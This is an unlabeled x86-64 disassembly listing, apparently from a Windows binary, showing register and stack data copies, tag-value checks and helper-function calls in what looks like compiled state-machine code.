movups xmmword [rsp + 0x81e], xmm0
movups xmm0, xmmword [rsp + 0xf8a]
movaps xmmword [rsp + 0x810], xmm0
mov qword [rsp + 0x110], rax
mov byte [rsp + 0x118], bl
mov byte [rsp + 0x119], dl
movaps xmm0, xmmword [rsp + 0x810]
movups xmmword [rsp + 0x11a], xmm0
movups xmm0, xmmword [rsp + 0x81e]
movups xmmword [rsp + 0x128], xmm0
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x30]
movaps xmmword [rsp + 0x460], xmm0
movaps xmmword [rsp + 0x470], xmm1
movaps xmmword [rsp + 0x480], xmm2
movaps xmmword [rsp + 0x490], xmm3
movups xmm0, xmmword [rcx + 0x40]
movaps xmmword [rsp + 0x4a0], xmm0
mov rax, qword [rcx + 0x4d]
mov qword [rsp + 0x4ad], rax
movaps xmm0, xmmword [rsp + 0x460]
movaps xmm1, xmmword [rsp + 0x470]
movaps xmm2, xmmword [rsp + 0x480]
movaps xmm3, xmmword [rsp + 0x490]
movaps xmmword [rsp + 0x650], xmm0
movaps xmmword [rsp + 0x660], xmm1
movaps xmmword [rsp + 0x670], xmm2
movaps xmmword [rsp + 0x680], xmm3
movaps xmm0, xmmword [rsp + 0x4a0]
movaps xmmword [rsp + 0x690], xmm0
mov rax, qword [rsp + 0x4ad]
mov qword [rsp + 0x69d], rax
mov rax, qword [rsp + 0x69d]
mov qword [rsp + 0x4b0], rax
movaps xmm0, xmmword [rsp + 0x690]
movups xmmword [rsp + 0x4a3], xmm0
movaps xmm0, xmmword [rsp + 0x650]
movaps xmm1, xmmword [rsp + 0x660]
movaps xmm2, xmmword [rsp + 0x670]
movaps xmm3, xmmword [rsp + 0x680]
movups xmmword [rsp + 0x493], xmm3
movups xmmword [rsp + 0x483], xmm2
movups xmmword [rsp + 0x473], xmm1
movups xmmword [rsp + 0x463], xmm0
mov byte [rsp + 0x460], r13b
mov byte [rsp + 0x461], r15b
mov byte [rsp + 0x462], r14b
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x460]
call fcn.140033540
movzx eax, byte [rsp + 0xe0]
movzx ebx, byte [rsp + 0xe1]
cmp al, 3
je 0x1400623e6
mov rcx, qword [rsp + 0x130]
mov qword [rsp + 0xfcd], rcx
movups xmm0, xmmword [rsp + 0x123]
movaps xmmword [rsp + 0xfc0], xmm0
movaps xmm0, xmmword [rsp + 0xfc0]
movaps xmmword [rsp + 0xa30], xmm0
mov rcx, qword [rsp + 0xfcd]
mov qword [rsp + 0xa3d], rcx
mov ecx, dword [rsp + 0xa6c]
mov dword [rsp + 0x360], ecx
movups xmm0, xmmword [rsp + 0x113]
movups xmm1, xmmword [rsp + 0x103]
movups xmm2, xmmword [rsp + 0xf3]
movups xmm3, xmmword [rsp + 0xe3]
movaps xmmword [rsp + 0x9f0], xmm3
movaps xmmword [rsp + 0xa00], xmm2
movaps xmmword [rsp + 0xa10], xmm1
movaps xmmword [rsp + 0xa20], xmm0
movaps xmm0, xmmword [rsp + 0x620]
movaps xmm1, xmmword [rsp + 0x630]
movaps xmm2, xmmword [rsp + 0x640]
movups xmmword [rsp + 0xc50], xmm2
movups xmmword [rsp + 0xc40], xmm1
movups xmmword [rsp + 0xc30], xmm0
movups xmm0, xmmword [rsp + 0xa4c]
movups xmm1, xmmword [rsp + 0xa5c]
movaps xmmword [rsp + 0x350], xmm1
movaps xmmword [rsp + 0x340], xmm0
mov rcx, qword [rdi + 0x768]
movzx edx, byte [rcx + 0x112]
movzx ecx, byte [rsp + 0xe2]
mov byte [rdi + 0x9d1], dl
movaps xmm0, xmmword [rsp + 0xd20]
movaps xmm1, xmmword [rsp + 0xd30]
movaps xmm2, xmmword [rsp + 0xd40]
movups xmmword [rdi + 0x9d8], xmm0
movups xmmword [rdi + 0x9e8], xmm1
movups xmmword [rdi + 0x9f8], xmm2
mov qword [rdi + 0xa08], r12
mov qword [rdi + 0xa10], 0
mov qword [rdi + 0xa18], 6
mov rdx, qword [rsp + 0x858]
mov qword [rdi + 0xa20], rdx
mov rdx, qword [rsp + 0x840]
mov qword [rdi + 0xa28], rdx
mov rdx, qword [rsp + 0x888]
mov qword [rdi + 0xa30], rdx
movss dword [rdi + 0xa38], xmm8
movzx edx, byte [rsp + 0x52]
mov byte [rdi + 0xa3c], dl
movzx edx, byte [rsp + 0x51]
mov byte [rdi + 0xa3d], dl
mov rdx, qword [rsp + 0x8a0]
mov qword [rdi + 0xa40], rdx
mov rdx, qword [rsp + 0x860]
mov qword [rdi + 0xa48], rdx
mov rdx, qword [rsp + 0x890]
mov qword [rdi + 0xa50], rdx
mov rdx, qword [rsp + 0x838]
mov qword [rdi + 0xa58], rdx
mov dword [rdi + 0xa60], ebp
mov edx, dword [rsp + 0x360]
mov dword [rdi + 0xa84], edx
movaps xmm0, xmmword [rsp + 0x340]
movaps xmm1, xmmword [rsp + 0x350]
movups xmmword [rdi + 0xa74], xmm1
movups xmmword [rdi + 0xa64], xmm0
movzx edx, byte [rsp + 0x4d]
mov byte [rdi + 0xa88], dl
mov rdx, qword [rsp + 0x878]
mov qword [rdi + 0xa90], rdx
movzx edx, byte [rsp + 0x50]
mov byte [rdi + 0xa98], dl
movzx edx, byte [rsp + 0x4f]
mov byte [rdi + 0xa99], dl
movzx edx, byte [rsp + 0x4e]
mov byte [rdi + 0xa9a], dl
mov rdx, qword [rsp + 0x898]
mov qword [rdi + 0xaa0], rdx
mov rdx, qword [rsp + 0x68]
mov qword [rdi + 0xaa8], rdx
mov rdx, qword [rsp + 0x78]
mov qword [rdi + 0xab0], rdx
mov rdx, qword [rsp + 0x90]
mov qword [rdi + 0xab8], rdx
mov rdx, qword [rsp + 0x8b0]
mov qword [rdi + 0xac0], rdx
mov rdx, qword [rsp + 0x8a8]
mov qword [rdi + 0xac8], rdx
mov rdx, qword [rsp + 0x8c0]
mov qword [rdi + 0xad0], rdx
mov edx, dword [rsp + 0xdc]
mov dword [rdi + 0xad8], edx
mov rdx, qword [rsp + 0x8c8]
mov qword [rdi + 0xae0], rdx
mov edx, dword [rsp + 0xd4]
mov dword [rdi + 0xae8], edx
mov rdx, qword [rsp + 0x8b8]
mov qword [rdi + 0xaf0], rdx
movlps qword [rdi + 0xaf8], xmm7
mov edx, dword [rsp + 0xd8]
mov dword [rdi + 0xb00], edx
movzx edx, byte [rsp + 0x56]
mov byte [rdi + 0xb04], dl
movzx edx, byte [rsp + 0x55]
mov byte [rdi + 0xb05], dl
mov rdx, qword [rsp + 0x880]
mov qword [rdi + 0xb08], rdx
mov rdx, qword [rsp + 0x848]
mov qword [rdi + 0xb10], rdx
movlps qword [rdi + 0xb18], xmm6
movzx edx, byte [rsp + 0x54]
mov byte [rdi + 0xb20], dl
movzx edx, byte [rsp + 0x57]
mov byte [rdi + 0xb21], dl
mov rdx, qword [rsp + 0xc58]
mov qword [rdi + 0xb50], rdx
movups xmm0, xmmword [rsp + 0xc2a]
movups xmm1, xmmword [rsp + 0xc3a]
movups xmm2, xmmword [rsp + 0xc4a]
movups xmmword [rdi + 0xb42], xmm2
movups xmmword [rdi + 0xb32], xmm1
movups xmmword [rdi + 0xb22], xmm0
mov byte [rdi + 0xb58], al
mov byte [rdi + 0xb59], bl
mov byte [rdi + 0xb5a], cl
mov rax, qword [rsp + 0xa3d]
mov qword [rdi + 0xba8], rax
movaps xmm0, xmmword [rsp + 0xa30]
movups xmmword [rdi + 0xb9b], xmm0
movaps xmm0, xmmword [rsp + 0x9f0]
movaps xmm1, xmmword [rsp + 0xa00]
movaps xmm2, xmmword [rsp + 0xa10]
movaps xmm3, xmmword [rsp + 0xa20]
movups xmmword [rdi + 0xb8b], xmm3
movups xmmword [rdi + 0xb7b], xmm2
movups xmmword [rdi + 0xb6b], xmm1
movups xmmword [rdi + 0xb5b], xmm0
mov rax, qword [rsp + 0x868]
mov qword [rdi + 0xbb0], rax
mov rax, qword [rsp + 0x870]
mov qword [rdi + 0xbb8], rax
mov rax, qword [rsp + 0x850]
mov qword [rdi + 0xbc0], rax
movzx eax, byte [rsp + 0x53]
mov byte [rdi + 0xbc8], al
mov byte [rdi + 0xbc9], al
mov r8, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x58]
mov r12, qword [rsp + 0x38]
cmp dword [rdi + 0xa18], 9
je 0x140062424
mov qword [rsp + 0x58], rsi
lea rbp, [rdi + 0x9d8]
lea r13, [rdi + 0xa18]
lea rcx, [rsp + 0xf80]
mov rdx, rbp
mov rsi, r8
call fcn.140062910
cmp byte [rsp + 0xff0], 3
jne 0x14005dd0e
lea rcx, [rsp + 0x650]
mov rdx, r13
mov r8, rsi
call fcn.1400640e0
cmp byte [rsp + 0x6c0], 3
je 0x14005de3d
mov rbx, qword [r13]
mov qword [r13], 9
cmp rbx, 9
je 0x140062454
lea rdx, [rdi + 0xa20]
movups xmm0, xmmword [rbp]
movups xmm1, xmmword [rbp + 0x10]
movups xmm2, xmmword [rbp + 0x20]
movups xmm3, xmmword [rbp + 0x30]
movaps xmmword [rsp + 0x110], xmm3
movaps xmmword [rsp + 0x100], xmm2
movaps xmmword [rsp + 0xf0], xmm1
movaps xmmword [rsp + 0xe0], xmm0
mov qword [rsp + 0x120], rbx
lea rsi, [rsp + 0x128]
mov r8d, 0x1b0
mov rcx, rsi
call fcn.140106250
movups xmm0, xmmword [rbp]
movups xmm1, xmmword [rbp + 0x10]
movups xmm2, xmmword [rbp + 0x20]
movups xmm3, xmmword [rbp + 0x30]
movups xmmword [rsp + 0x4d8], xmm0
movups xmmword [rsp + 0x4e8], xmm1
movups xmmword [rsp + 0x4f8], xmm2
movups xmmword [rsp + 0x508], xmm3
mov rax, qword [rsp + 0x6c0]
mov qword [rsp + 0x4d0], rax
movups xmm0, xmmword [rsp + 0x6b0]
movaps xmmword [rsp + 0x4c0], xmm0
movups xmm0, xmmword [rsp + 0x6a0]
movaps xmmword [rsp + 0x4b0], xmm0
movups xmm0, xmmword [rsp + 0x690]
movaps xmmword [rsp + 0x4a0], xmm0
movups xmm0, xmmword [rsp + 0x650]
movups xmm1, xmmword [rsp + 0x660]
movups xmm2, xmmword [rsp + 0x670]
movups xmm3, xmmword [rsp + 0x680]
movaps xmmword [rsp + 0x490], xmm3
movaps xmmword [rsp + 0x480], xmm2
movaps xmmword [rsp + 0x470], xmm1
movaps xmmword [rsp + 0x460], xmm0
lea rcx, [rsp + 0x930]
lea rdx, [rsp + 0x460]
mov r8d, 0xb8
call fcn.140106250
lea rcx, [rbx - 6]
cmp rcx, 3
mov eax, 1
cmovb rax, rcx
cmp rax, 1
je 0x14005de44
test rax, rax
jne 0x14005de7d
mov rcx, rsi
call fcn.1400646f0
jmp 0x14005de7d
mov rbx, qword [r13]
mov qword [r13], 9
cmp rbx, 9
je 0x140062454
lea rsi, [rdi + 0xa20]
movups xmm0, xmmword [rbp]
movups xmm1, xmmword [rbp + 0x10]
movups xmm2, xmmword [rbp + 0x20]
movups xmm3, xmmword [rbp + 0x30]
movaps xmmword [rsp + 0x110], xmm3
movaps xmmword [rsp + 0x100], xmm2
movaps xmmword [rsp + 0xf0], xmm1
movaps xmmword [rsp + 0xe0], xmm0
mov qword [rsp + 0x120], rbx
lea rcx, [rsp + 0x128]
mov r8d, 0x1b0
mov rdx, rsi
call fcn.140106250
lea rcx, [rsp + 0x930]
mov r8d, 0xb8
mov rdx, rsi
call fcn.140106250
lea rdx, [rsp + 0x1e0]
lea rcx, [rsp + 0xe80]
mov r8d, 0xf8
call fcn.140106250
movups xmm0, xmmword [rsp + 0xf80]
movups xmm1, xmmword [rsp + 0xf90]
movups xmm2, xmmword [rsp + 0xfa0]
movups xmm3, xmmword [rsp + 0xfb0]
movaps xmmword [rsp + 0x380], xmm0
movaps xmmword [rsp + 0x390], xmm1
movaps xmmword [rsp + 0x3a0], xmm2
movaps xmmword [rsp + 0x3b0], xmm3
movups xmm0, xmmword [rsp + 0xfc0]
movaps xmmword [rsp + 0x3c0], xmm0
movups xmm0, xmmword [rsp + 0xfd0]
movaps xmmword [rsp + 0x3d0], xmm0
movups xmm0, xmmword [rsp + 0xfe0]
movaps xmmword [rsp + 0x3e0], xmm0
mov rax, qword [rsp + 0xff0]
mov qword [rsp + 0x3f0], rax
lea rcx, [rsp + 0xe0]
call fcn.140064e20
cmp rbx, 0xa
jne 0x14005de82
mov al, 3
jmp 0x14005f6e5
cmp rbx, 5
jne 0x14005de66
movzx eax, byte [rsp + 0x198]
cmp eax, 2
je 0x14005de75
cmp eax, 3
je 0x14005de7d
mov rcx, rsi
call fcn.140064ad0
jmp 0x14005de7d
lea rcx, [rsp + 0x120]
call fcn.140064840
jmp 0x14005de7d
mov rcx, rsi
call fcn.140035fe0
mov ebx, 9
mov word [rdi + 0x9d6], 0x101
movaps xmm0, xmmword [rsp + 0x380]
movdqa xmm1, xmmword [rsp + 0x390]
movdqa xmm2, xmmword [rsp + 0x3a0]
movdqa xmm3, xmmword [rsp + 0x3b0]
movups xmmword [rdi + 0x7a0], xmm0
movdqu xmmword [rdi + 0x7b0], xmm1
movdqu xmmword [rdi + 0x7c0], xmm2
movdqu xmmword [rdi + 0x7d0], xmm3
movaps xmm0, xmmword [rsp + 0x3c0]
movups xmmword [rdi + 0x7e0], xmm0
movaps xmm0, xmmword [rsp + 0x3d0]
movups xmmword [rdi + 0x7f0], xmm0
movdqa xmm0, xmmword [rsp + 0x3e0]
movdqu xmmword [rdi + 0x800], xmm0
mov rax, qword [rsp + 0x3f0]
mov qword [rdi + 0x810], rax
lea rsi, [rdi + 0x818]
mov qword [rdi + 0x818], rbx
lea rcx, [rdi + 0x820]
lea rdx, [rsp + 0x930]
mov r8d, 0xb8
call fcn.140106250
lea rcx, [rdi + 0x8d8]
lea rdx, [rsp + 0xe80]
mov r8d, 0xf8
call fcn.140106250
cmp dword [rdi + 0xa18], 9
je 0x14005e4c5
mov rcx, rbp
call fcn.140064e20
mov rax, qword [r13]
lea rdx, [rax - 6]
cmp rdx, 3
mov ecx, 1
cmovb rcx, rdx
cmp rcx, 1
je 0x14005e323
test rcx, rcx
jne 0x14005e4c5
lea rcx, [rdi + 0xa20]
call fcn.1400646f0
cmp dword [rsi], 9
je 0x14005e4ce
movzx ebp, byte [rdi + 0x810]
cmp bpl, 2
jne 0x14005e1db
mov byte [rdi + 0x9d3], 1
mov r15, qword [rdi + 0x7a0]
mov qword [rdi + 0x9d8], r15
lea rcx, [rsp + 0xe0]
mov r8d, 0x1b8
mov rdx, rsi
call fcn.140106250
mov byte [rdi + 0x9d2], 1
cmp byte [r15 + 0x30], 4
jne 0x14005e35f
mov byte [rdi + 0x9d2], 0
lea rcx, [rdi + 0x9e0]
mov r8d, 0x1b8
mov rdx, rsi
call fcn.140106250
lea rsi, [rdi + 0x9e0]
lea rcx, [rsp + 0x460]
mov rdx, rsi
mov r8, qword [rsp + 0x80]
call fcn.1400640e0
movzx ebp, byte [rsp + 0x4d0]
cmp bpl, 3
je 0x14005f6e3
mov rbx, qword [rsp + 0x460]
mov r15, qword [rsp + 0x468]
movups xmm0, xmmword [rsp + 0x470]
movaps xmmword [rsp + 0xdb0], xmm0
movups xmm0, xmmword [rsp + 0x480]
movaps xmmword [rsp + 0xdc0], xmm0
movups xmm0, xmmword [rsp + 0x490]
movaps xmmword [rsp + 0xdd0], xmm0
movups xmm0, xmmword [rsp + 0x4a0]
movaps xmmword [rsp + 0xde0], xmm0
movups xmm0, xmmword [rsp + 0x4b0]
movaps xmmword [rsp + 0xdf0], xmm0
movdqu xmm0, xmmword [rsp + 0x4c0]
movdqa xmmword [rsp + 0xe00], xmm0
mov eax, dword [rsp + 0x4d1]
mov dword [rsp + 0xc4], eax
mov eax, dword [rsp + 0x4d4]
mov dword [rsp + 0xc7], eax
mov rax, qword [rsi]
lea rdx, [rax - 6]
cmp rdx, 3
mov ecx, 1
cmovb rcx, rdx
cmp rcx, 1
je 0x14005e19b
test rcx, rcx
jne 0x14005e305
lea rcx, [rdi + 0x9e8]
call fcn.1400646f0
xor r13d, r13d
cmp bpl, 2
je 0x14005e312
movaps xmm0, xmmword [rsp + 0xe00]
movaps xmmword [rsp + 0x330], xmm0
movaps xmm0, xmmword [rsp + 0xdf0]
movaps xmmword [rsp + 0x320], xmm0
movdqa xmm0, xmmword [rsp + 0xdb0]
movdqa xmm1, xmmword [rsp + 0xdc0]
movdqa xmm2, xmmword [rsp + 0xdd0]
movdqa xmm3, xmmword [rsp + 0xde0]
movdqa xmmword [rsp + 0x310], xmm3
movdqa xmmword [rsp + 0x300], xmm2
movdqa xmmword [rsp + 0x2f0], xmm1
movdqa xmmword [rsp + 0x2e0], xmm0
mov eax, dword [rsp + 0xc4]
mov ecx, dword [rsp + 0xc7]
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x63], ecx
mov r13, rbx
cmp byte [rdi + 0x9d2], 0
jne 0x14005e36c
jmp 0x14005e400
cmp eax, 5
jne 0x14005e2fd
lea rcx, [rdi + 0x9e8]
movzx eax, byte [rdi + 0xa58]
cmp eax, 2
je 0x14005f469
cmp eax, 3
je 0x14005e305
call fcn.140064ad0
xor r13d, r13d
cmp bpl, 2
je 0x14005e312
mov r13, qword [rdi + 0x7a0]
mov r15, qword [rdi + 0x7a8]
movups xmm0, xmmword [rdi + 0x800]
movaps xmmword [rsp + 0xda0], xmm0
movups xmm0, xmmword [rdi + 0x7f0]
movaps xmmword [rsp + 0xd90], xmm0
movups xmm0, xmmword [rdi + 0x7e0]
movaps xmmword [rsp + 0xd80], xmm0
movups xmm0, xmmword [rdi + 0x7d0]
movaps xmmword [rsp + 0xd70], xmm0
movups xmm0, xmmword [rdi + 0x7c0]
movaps xmmword [rsp + 0xd60], xmm0
movups xmm0, xmmword [rdi + 0x7b0]
movaps xmmword [rsp + 0xd50], xmm0
mov eax, dword [rdi + 0x811]
mov ecx, dword [rdi + 0x814]
mov dword [rsp + 0xbc], eax
mov dword [rsp + 0xbf], ecx
lea rcx, [rsp + 0xf80]
mov r8d, 0x1b8
mov rdx, rsi
call fcn.140106250
cmp dword [rsp + 0xf80], 6
jne 0x14005e428
lea rax, [rdi + 0x7b0]
lea rcx, [rdi + 0x811]
movups xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x330], xmm0
movups xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x320], xmm0
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movdqu xmm2, xmmword [rax + 0x20]
movdqu xmm3, xmmword [rax + 0x30]
movdqa xmmword [rsp + 0x310], xmm3
movdqa xmmword [rsp + 0x300], xmm2
movdqa xmmword [rsp + 0x2f0], xmm1
movdqa xmmword [rsp + 0x2e0], xmm0
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x63], ecx
lea rcx, [rsp + 0xf88]
call fcn.1400646f0
jmp 0x14005e8a5
mov rcx, rsi
call fcn.140064840
xor r13d, r13d
cmp bpl, 2
jne 0x14005e108
mov r15, rbx
cmp byte [rdi + 0x9d2], 0
jne 0x14005e36c
jmp 0x14005e400
cmp eax, 5
jne 0x14005e4bd
lea rcx, [rdi + 0xa20]
movzx eax, byte [rdi + 0xa90]
cmp eax, 2
je 0x14005f6f6
cmp eax, 3
je 0x14005e4c5
call fcn.140064ad0
cmp dword [rsi], 9
je 0x14005e4ce
jmp 0x14005df9f
mov byte [rdi + 0x9d3], 0
mov bpl, 2
xor r13d, r13d
mov rax, qword [rsp + 0xe0]
lea rdx, [rax - 6]
cmp rdx, 3
mov ecx, 1
cmovb rcx, rdx
cmp rcx, 1
je 0x14005e3b9
test rcx, rcx
jne 0x14005e400
lea rcx, [rsp + 0xe8]
call fcn.1400646f0
mov byte [rdi + 0x9d2], 0
cmp byte [rdi + 0x9d3], 0
jne 0x14005e410
mov byte [rdi + 0x9d3], 0
jmp 0x14005e8a5
cmp eax, 5
jne 0x14005e3f3
lea rcx, [rsp + 0xe8]
movzx eax, byte [rsp + 0x158]
cmp eax, 2
je 0x14005f6c1
cmp eax, 3
je 0x14005e400
call fcn.140064ad0
mov byte [rdi + 0x9d2], 0
cmp byte [rdi + 0x9d3], 0
jne 0x14005e410
jmp 0x14005e3ad
lea rcx, [rsp + 0xe0]
call fcn.140064840
mov byte [rdi + 0x9d2], 0
cmp byte [rdi + 0x9d3], 0
je 0x14005e3ad
lea rcx, [rdi + 0x9d8]
call fcn.140035fe0
mov byte [rdi + 0x9d3], 0
jmp 0x14005e8a5
lea rcx, [rsp + 0x1140]
mov r8d, 0x1b8
mov rdx, rsi
call fcn.140106250
mov rax, qword [rdi + 0x768]
mov rbx, qword [rax + 0x68]
test rbx, rbx
je 0x14005f480
mov qword [rsp + 0x38], r12
mov r14, qword [rax + 0x70]
mov r12, qword [r14 + 0x10]
movzx eax, byte [0x140182310]
mov edx, 0x1b8
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140062575
mov rsi, rax
dec r12
and r12, 0xfffffffffffffff0
add rbx, r12
add rbx, 0x10
lea rdx, [rsp + 0x1140]
mov r8d, 0x1b8
mov rcx, rax
call fcn.140106250
lea r8, [0x1401407d8]
mov rcx, rbx
mov rdx, rsi
call qword [r14 + 0x18]
mov r12, qword [rsp + 0x38]
jmp 0x14005f83b
mov rcx, r13
call fcn.140064840
cmp dword [rsi], 9
jne 0x14005df9f
movzx ebp, byte [rdi + 0x890]
cmp bpl, 2
jne 0x14005e799
mov byte [rdi + 0x9d5], 1
mov r15, qword [rdi + 0x820]
mov qword [rdi + 0x9d8], r15
mov byte [rdi + 0x9d4], 1
movdqu xmm0, xmmword [rdi + 0x898]
movdqu xmm1, xmmword [rdi + 0x8a8]
movdqu xmm2, xmmword [rdi + 0x8b8]
movdqu xmm3, xmmword [rdi + 0x8c8]
movdqa xmmword [rsp + 0x490], xmm3
movdqa xmmword [rsp + 0x480], xmm2
movdqa xmmword [rsp + 0x470], xmm1
movdqa xmmword [rsp + 0x460], xmm0
cmp byte [r15 + 0x30], 4
jne 0x14005e868
lea rax, [rdi + 0x898]
mov byte [rdi + 0x9d4], 0
movups xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movdqu xmm2, xmmword [rax + 0x20]
movdqu xmm3, xmmword [rax + 0x30]
movups xmmword [rdi + 0x9e0], xmm0
movdqu xmmword [rdi + 0x9f0], xmm1
movdqu xmmword [rdi + 0xa00], xmm2
movdqu xmmword [rdi + 0xa10], xmm3
lea rsi, [rdi + 0x9e0]
lea rcx, [rsp + 0xe0]
mov rdx, rsi
mov r8, qword [rsp + 0x80]
call fcn.140062910
movzx ebp, byte [rsp + 0x150]
cmp bpl, 3
je 0x14005f6df
mov rcx, rsi
mov r14, qword [rsp + 0xe0]
mov r15, qword [rsp + 0xe8]
movups xmm0, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0xe10], xmm0
movups xmm0, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0xe20], xmm0
movups xmm0, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0xe30], xmm0
movups xmm0, xmmword [rsp + 0x120]
movaps xmmword [rsp + 0xe40], xmm0
movups xmm0, xmmword [rsp + 0x130]
movaps xmmword [rsp + 0xe50], xmm0
movdqu xmm0, xmmword [rsp + 0x140]
movdqa xmmword [rsp + 0xe60], xmm0
mov eax, dword [rsp + 0x151]
mov dword [rsp + 0xcc], eax
mov eax, dword [rsp + 0x154]
mov dword [rsp + 0xcf], eax
call fcn.140064e20
cmp bpl, 2
jne 0x14005e6f1
mov bpl, 2
xor r13d, r13d
cmp byte [rdi + 0x9d1], 0
je 0x14005e784
xor r13d, r13d
cmp byte [r14 + 0x30], 4
jne 0x14005e784
mov rsi, qword [r14]
xor r13d, r13d
test rsi, rsi
je 0x14005e784
mov qword [rsp + 0x38], r12
mov rbx, qword [r14 + 8]
movabs r15, 0xb4ded14da150deb5
xor r13d, r13d
movabs r12, 0x482c02e039e5ba74
jmp 0x14005e6c1
movaps xmm0, xmmword [rsp + 0xe60]
movaps xmmword [rsp + 0x330], xmm0
movaps xmm0, xmmword [rsp + 0xe50]
movaps xmmword [rsp + 0x320], xmm0
movdqa xmm0, xmmword [rsp + 0xe10]
movdqa xmm1, xmmword [rsp + 0xe20]
movdqa xmm2, xmmword [rsp + 0xe30]
movdqa xmm3, xmmword [rsp + 0xe40]
movdqa xmmword [rsp + 0x310], xmm3
movdqa xmmword [rsp + 0x300], xmm2
movdqa xmmword [rsp + 0x2f0], xmm1
movdqa xmmword [rsp + 0x2e0], xmm0
mov eax, dword [rsp + 0xcc]
mov ecx, dword [rsp + 0xcf]
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x63], ecx
mov r13, r14
cmp byte [rdi + 0x9d4], 0
jne 0x14005e875
jmp 0x14005e882
mov r15, r14
cmp byte [rdi + 0x9d4], 0
jne 0x14005e875
jmp 0x14005e882
mov r13, qword [rdi + 0x820]
mov r15, qword [rdi + 0x828]
movups xmm0, xmmword [rdi + 0x880]
movaps xmmword [rsp + 0x330], xmm0
movups xmm0, xmmword [rdi + 0x870]
movaps xmmword [rsp + 0x320], xmm0
movups xmm0, xmmword [rdi + 0x860]
movaps xmmword [rsp + 0x310], xmm0
movups xmm0, xmmword [rdi + 0x850]
movaps xmmword [rsp + 0x300], xmm0
movups xmm0, xmmword [rdi + 0x840]
movaps xmmword [rsp + 0x2f0], xmm0
movups xmm0, xmmword [rdi + 0x830]
movaps xmmword [rsp + 0x2e0], xmm0
mov eax, dword [rdi + 0x891]
mov ecx, dword [rdi + 0x894]
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x63], ecx
movdqu xmm0, xmmword [rdi + 0x898]
movdqu xmm1, xmmword [rdi + 0x8a8]
movdqu xmm2, xmmword [rdi + 0x8b8]
movdqu xmm3, xmmword [rdi + 0x8c8]
movdqa xmmword [rsp + 0x110], xmm3
movdqa xmmword [rsp + 0x100], xmm2
movdqa xmmword [rsp + 0xf0], xmm1
movdqa xmmword [rsp + 0xe0], xmm0
lea rcx, [rsp + 0xe0]
call fcn.140064e20
jmp 0x14005e8a5
mov byte [rdi + 0x9d5], 0
mov bpl, 2
xor r13d, r13d
lea rcx, [rsp + 0x460]
call fcn.140064e20
mov byte [rdi + 0x9d4], 0
cmp byte [rdi + 0x9d5], 0
je 0x14005e89e
lea rcx, [rdi + 0x9d8]
call fcn.140035fe0
mov byte [rdi + 0x9d5], 0
mov word [rdi + 0x9d6], 0
movaps xmm0, xmmword [rsp + 0x330]
movaps xmmword [rsp + 0xcb0], xmm0
movaps xmm0, xmmword [rsp + 0x320]
movaps xmmword [rsp + 0xca0], xmm0
movaps xmm0, xmmword [rsp + 0x2e0]
movaps xmm1, xmmword [rsp + 0x2f0]
movaps xmm2, xmmword [rsp + 0x300]
movaps xmm3, xmmword [rsp + 0x310]
movaps xmmword [rsp + 0xc90], xmm3
movaps xmmword [rsp + 0xc80], xmm2
movaps xmmword [rsp + 0xc70], xmm1
movaps xmmword [rsp + 0xc60], xmm0
mov eax, dword [rsp + 0x60]
mov ecx, dword [rsp + 0x63]
mov dword [rsp + 0xac], eax
mov dword [rsp + 0xaf], ecx
mov byte [rdi + 0x9d0], 1
movaps xmm0, xmmword [rsp + 0xc60]
movdqa xmm1, xmmword [rsp + 0xc70]
movdqa xmm2, xmmword [rsp + 0xc80]
movdqa xmm3, xmmword [rsp + 0xc90]
movaps xmmword [rsp + 0xcc0], xmm0
movdqa xmmword [rsp + 0xcd0], xmm1
movdqa xmmword [rsp + 0xce0], xmm2
movdqa xmmword [rsp + 0xcf0], xmm3
movaps xmm0, xmmword [rsp + 0xca0]
movaps xmmword [rsp + 0xd00], xmm0
movdqa xmm0, xmmword [rsp + 0xcb0]
movdqa xmmword [rsp + 0xd10], xmm0
mov eax, dword [rsp + 0xac]
mov ecx, dword [rsp + 0xaf]
mov dword [rsp + 0xb7], ecx
mov dword [rsp + 0xb4], eax
mov rcx, r12
call fcn.140065690
cmp bpl, 2
jne 0x14005ea77
mov bl, 1
mov r14d, 3
test r13, r13
je 0x14005efcb
movaps xmm0, xmmword [rsp + 0xd10]
movaps xmmword [rsp + 0x130], xmm0
movaps xmm0, xmmword [rsp + 0xd00]
movaps xmmword [rsp + 0x120], xmm0
movaps xmm0, xmmword [rsp + 0xcc0]
movaps xmm1, xmmword [rsp + 0xcd0]
movaps xmm2, xmmword [rsp + 0xce0]
movaps xmm3, xmmword [rsp + 0xcf0]
movaps xmmword [rsp + 0x110], xmm3
movaps xmmword [rsp + 0x100], xmm2
movaps xmmword [rsp + 0xf0], xmm1
movaps xmmword [rsp + 0xe0], xmm0
mov qword [rdi + 0x730], r13
mov qword [rdi + 0x738], r15
movaps xmm0, xmmword [rsp + 0xe0]
movdqa xmm1, xmmword [rsp + 0xf0]
movdqa xmm2, xmmword [rsp + 0x100]
movdqa xmm3, xmmword [rsp + 0x110]
movups xmmword [rdi + 0x740], xmm0
movdqu xmmword [rdi + 0x750], xmm1
movdqu xmmword [rdi + 0x760], xmm2
movdqu xmmword [rdi + 0x770], xmm3
movaps xmm0, xmmword [rsp + 0x120]
movups xmmword [rdi + 0x780], xmm0
movdqa xmm0, xmmword [rsp + 0x130]
movdqu xmmword [rdi + 0x790], xmm0
mov byte [rdi + 0x7a0], bpl
mov eax, dword [rsp + 0xb4]
mov ecx, dword [rsp + 0xb7]
mov dword [rdi + 0x7a1], eax
mov dword [rdi + 0x7a4], ecx
lea r14, [rdi + 0x628]
mov rcx, qword [rdi + 0x6f8]
test rcx, rcx
je 0x14005edc3
call fcn.140035fe0
xor r13d, r13d
cmp bpl, 2
je 0x14005e312
